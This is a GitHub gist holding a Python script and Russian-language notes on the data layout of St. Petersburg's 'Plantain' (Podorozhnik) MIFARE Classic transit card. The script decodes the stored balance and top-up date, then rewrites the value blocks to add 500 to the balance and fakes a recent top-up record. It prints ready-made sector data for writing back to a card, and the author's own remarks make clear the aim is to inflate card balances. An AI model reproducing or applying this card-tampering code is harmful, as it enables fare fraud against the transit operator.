Skip to content

Instantly share code, notes, and snippets.

@limitedeternity
Last active August 17, 2020 11:30
Show Gist options
  • Save limitedeternity/a4258c0c32ab781e60a5cce29e18e7a9 to your computer and use it in GitHub Desktop.
Save limitedeternity/a4258c0c32ab781e60a5cce29e18e7a9 to your computer and use it in GitHub Desktop.
Info about "Plantain" transport card used in Saint-Petersburg, Russia
#!/usr/bin/env python3
from datetime import datetime, timedelta
class Plantain:
data = {
4: {
0: "9C44010063BBFEFF9C44010000FF00FF",
1: "9C44010063BBFEFF9C44010000FF00FF",
2: "FC00662B4E017E08A0860101383CE3EB"
}
}
@staticmethod
def retrieve_sector(sector):
return Plantain.data[sector]
@staticmethod
def retrieve_block_at(sector, block):
return Plantain.data[sector][block]
@staticmethod
def get_hex_bytes_at(where, sequence):
assert isinstance(where, list) or isinstance(where, range) or isinstance(where, int)
line = None
if isinstance(where, list) or isinstance(where, range):
line = "".join(
map(
lambda pos: sequence[pos:pos+2],
map(lambda x: x * 2, where)
)
)
elif isinstance(where, int):
line = sequence[pos*2:pos*2+2]
return "".join(x for x in [line[i:i+2] for i in range(0, len(line), 2)][::-1])
class Decoder:
@staticmethod
def hex_bytes_to_int(byte):
return int(byte, 16)
@staticmethod
def get_bolivars(byte):
return Decoder.hex_bytes_to_int(byte) // 100
@staticmethod
def get_date(byte):
return datetime.strptime("1 Jan 2010", "%d %b %Y") + timedelta(minutes=Decoder.hex_bytes_to_int(byte))
class Encoder:
@staticmethod
def overwrite_data_at(sector, block, data):
assert isinstance(data, int)
encoded_data = hex(int(str(data) + "00"))[2:]
complemented_data = ("00000000" + encoded_data)[-8:]
reversed_data = "".join(x for x in [complemented_data[i:i+2] for i in range(0, len(complemented_data), 2)][::-1])
xor_data = hex(4294967295 - int(str(data) + "00"))[2:]
reversed_xor_data = "".join(x for x in [xor_data[i:i+2] for i in range(0, len(xor_data), 2)][::-1])
Plantain.data[sector][block] = reversed_data.upper() + reversed_xor_data.upper() + reversed_data.upper() + Plantain.data[sector][block][12*2:16*2]
def test():
# Before
print("Balance: " + str(
Decoder.get_bolivars(
Plantain.get_hex_bytes_at(range(0, 4), Plantain.retrieve_block_at(4, 0))
)
))
print("Latest top up: " + str(
Decoder.get_date(
Plantain.get_hex_bytes_at(range(2, 5), Plantain.retrieve_block_at(4, 2))
)
))
print("Aquired: " + str(
Decoder.get_bolivars(
Plantain.get_hex_bytes_at(range(8, 11), Plantain.retrieve_block_at(4, 2))
)
))
print('\n')
# Value block overwrite
Encoder.overwrite_data_at(
4,
0,
Decoder.get_bolivars(Plantain.get_hex_bytes_at(range(0, 4), Plantain.retrieve_block_at(4, 0))) + 500
)
Encoder.overwrite_data_at(
4,
1,
Decoder.get_bolivars(Plantain.get_hex_bytes_at(range(0, 4), Plantain.retrieve_block_at(4, 1))) + 500
)
# Raw block overwrite
encoded_date = hex((datetime.now() - datetime.strptime("1 Jan 2010", "%d %b %Y")).days * 24 * 60)[2:]
complemented_date = ("000000" + encoded_date)[-6:]
reversed_date = "".join(x for x in [complemented_date[i:i+2] for i in range(0, len(complemented_date), 2)][::-1])
Plantain.data[4][2] = Plantain.retrieve_block_at(4, 2)[:2*2] + reversed_date.upper() + Plantain.retrieve_block_at(4, 2)[5*2:]
encoded_value = hex(50000)[2:]
complemented_value = ("000000" + encoded_value)[-6:]
reversed_value = "".join(x for x in [complemented_value[i:i+2] for i in range(0, len(complemented_value), 2)][::-1])
Plantain.data[4][2] = Plantain.retrieve_block_at(4, 2)[:8*2] + reversed_value.upper() + Plantain.retrieve_block_at(4, 2)[11*2:]
# After
print("Balance: " + str(
Decoder.get_bolivars(
Plantain.get_hex_bytes_at(range(0, 4), Plantain.retrieve_block_at(4, 0))
)
))
print("Latest top up: " + str(
Decoder.get_date(
Plantain.get_hex_bytes_at(range(2, 5), Plantain.retrieve_block_at(4, 2))
)
))
print("Aquired: " + str(
Decoder.get_bolivars(
Plantain.get_hex_bytes_at(range(8, 11), Plantain.retrieve_block_at(4, 2))
)
))
print('\n')
print("New sector 4 data:")
print(Plantain.retrieve_block_at(4, 0))
print(Plantain.retrieve_block_at(4, 1))
print(Plantain.retrieve_block_at(4, 2))
test()

Теория

Сектор – 3 блока по 16 байт.

Блок – шестнадцатеричная последовательность из 32 символов. Следовательно, два символа - один байт.

"Подорожник" – транспортная карта на базе MiFare Classic 1K

Сектор 4

Данные о балансе.

Блок 0

Баланс – первые 4 байта

Блок 1

Дубликат нулевого блока для валидации баланса

Блок 2

Дата последнего пополнения – байты 2, 3 и 4

Зачислено боливар – байты 8, 9 и 10

Сектор 5

Данные о поездках.

Блок 0

Дата последней поездки – первые три байта

Стоимость поездки – байты 6 и 7

Блок 1

Количество поездок в метро – нулевой байт

Количество поездок на наземке – первый байт

Сведения

Value-блоками являются только 0 и 1 в четвертом секторе. Их структура такова:

byte 0..3:   32 bit value in little endian
byte 4..7:   copy of byte 0..3, with inverted bits
byte 8..11:  copy of byte 0..3
byte 12:     index of backup block (can be any value)
byte 13:     copy of byte 12 with inverted bits
byte 14:     copy of byte 12
byte 15:     copy of byte 13

Я знаю, зачем вы пришли. Алгоритмы чтения и перезаписи приложены к этому гисту.

В качестве входных данных используется четвертый сектор "Подорожника".

После декодирования информации выводится следующее:

Balance: 831
Latest top up: 2019-09-28 13:58:00
Aquired: 1000

Соответственно: баланс, последнее пополнение, и на сколько была пополнена карта. Аналогично можно вывести и всё остальное.

После этого происходит демонстрация модификации:

Balance: 1331
Latest top up: 2019-10-01 00:00:00
Aquired: 500

Для модификации Value-блоков тут сделан удобный метод. По поводу модификции "обычных" блоков информации не было найдено, поэтому его модификация здесь сделана "кустарно".

Ну, и, в конечном счете, показывается модифицированный сектор, который можно записать с помощью MCT:

New sector 4 data:
EC07020013F8FDFFEC07020000FF00FF
EC07020013F8FDFFEC07020000FF00FF
FC0000394E017E0850C30001383CE3EB
@limitedeternity
Copy link
Author

И да, если вы вдруг здесь оказались и читаете это: Я не несу никакой ответственности за ваши действия.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment